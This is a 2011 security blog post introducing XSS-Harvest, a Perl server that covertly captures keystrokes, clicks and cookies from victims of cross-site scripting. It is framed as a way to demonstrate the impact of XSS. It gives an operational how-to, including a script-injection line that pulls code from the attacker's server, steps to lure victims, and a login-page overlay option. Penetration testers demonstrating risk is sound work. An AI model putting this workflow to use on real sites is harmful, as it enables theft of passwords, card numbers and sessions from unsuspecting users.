Geoff Jones 7 July, 2011

Harvesting Cross Site Scripting (XSS) Victims - Clicks, Keystrokes And Cookies

A couple of years ago I was inspired by @fmavituna's work on XSS Shell and decided to write a new extended version (XSS-Shell-NG) using a PHP and a MySQL backend rather than the ASP/Access combination of the original. I never released the tool publicly, as my main aim of making XSS Shell easier to use was never really accomplished; it still required a significant amount of set up to get it working. However, one thing that both tools did well once working was to demonstrate the real business impact of cross-site scripting.

It always amazes me how many people still do not understand the impact of an exploited XSS vulnerability, and I include the security community in this statement. To summarise, a successfully exploited XSS vulnerability will allow the interception of ALL keystrokes, ALL mouse actions, ALL cookies (unless protected by scope) on ALL pages of the affected domain, regardless of whether or not the vulnerability is "reflected" or "persistent". Consider any transactions you carry out on ecommerce sites and any "secure" sites that you may log into, and understand this; if a cross-site scripting vulnerability exists anywhere on the same subdomain, it is feasible that an attacker can be exfiltrating your keystrokes and mouse clicks. This includes the password field of your webmail provider and the credit card field on the e-commerce site you are using. The only time I would accept XSS as a 'low' impact finding would be on applications with no concept of sessions and mostly static content, but even in these cases if someone were to trust the vulnerable site (e.g. a domain) , it could still be used as a launch pad for any number of browser based exploits.

To demonstrate the real business impact of cross site scripting I have developed a completely new tool from the ground up - XSS-Harvest. It is multi-threaded pre-forking web server written in Perl, and requires no dependencies other than a couple of common Perl modules; you do not need a web server or database to use this tool. Before going into the detail, I'll list the high level functionality below:

  • Infection script adds relevant event listeners (keystrokes, onload() and mouse clicks) to the vulnerable page and sets up communication with the XSS-Harvest server.
  • Any key entered will be sent covertly to the server.
  • Any mouse click performed will be analysed and the data covertly sent to the server.
  • Optionally 'redress' the vulnerable page to display a different page on the same subdomain - e.g. a login form.
  • If redressing the victim's browser, allow subsequently loaded pages to be also 'infected' - assuming they don't break the same-origin policy (i.e. they're on the same subdomain).
  • Keeps track of victims for the lifetime of the XSS-Harvest cookie (future visits are recognised as a returning victim).
  • Each victim has a separate history file containing all events, cookies and keystrokes. 
  • Server console displays real time data received (due to multi-threaded nature, keystrokes are displayed as '.' characters to avoid confusion).
  • Tested in IE6-9 (reflected XSS protection in IE9 will limit exploitation to stored XSS only in most cases), FF5, Chrome and various mobile browsers (Safari and Android). Please let me know your success with other browsers.
  • Overcomes browser oddities, such as Internet Explorer throttling requests to the same URL when exfiltrating keystrokes.

How to Exploit XSS with XSS-Harvest

  1. Identify a page vulnerable to XSS (reflected or persistent will be fine - unless the victim is running IE9 or another plugin such as NoScript).
  2. Understand the markup of the page. You should be looking to insert syntactically correct <script></script>tags in to the source of the vulnerable page. Most attackers will insert something like '<script>alert(1)</script>' at this stage to ensure the page is actually vulnerable.
  3. Start the XSS-Harvest server as root if you wish to bind to a TCP port < 1024 (default port is 80), or as a limited user on a port > 1024 using the -p option. To start the server you must instruct it to listen with the -l option. 
  4. Insert the following 'injection string' into the vulnerable page:
    • <script src="http://<serverip>:<serverport>/i"></script>
    • This will return the client-side JavaScript to the victim, indicated by the 'i' in the URL.
  5. Entice visitors to the infected page (or to follow a link in the case of reflected XSS).
  6. Watch your victims roll in - a new history file will be created for each new victim.

If you wish to make use of the redress function, start the server with the -r parameter:

./ -l -r http://vulnerablepage.local/login.html

Any incoming victim will now be redirected to the specified page by means of a full window IFRAME overlaid on top of the original vulnerable page. Some screenshots of the server in action are shown below:

XSS-Harvest in action
Server console showing incoming victims
Received events, clicks and keystrokes
Keystrokes and clicks being received from a victim


You can download the server here. All feedback would be most welcome - please share improvements and distribute under the GPL license.

Requires the following dependencies:
HTTP::Server::Simple::CGI, Digest::MD5, Time::Local, Getopt::Std, Net::Server::PreFork

Improve your security

Our experienced team will identify and address your most critical information security concerns.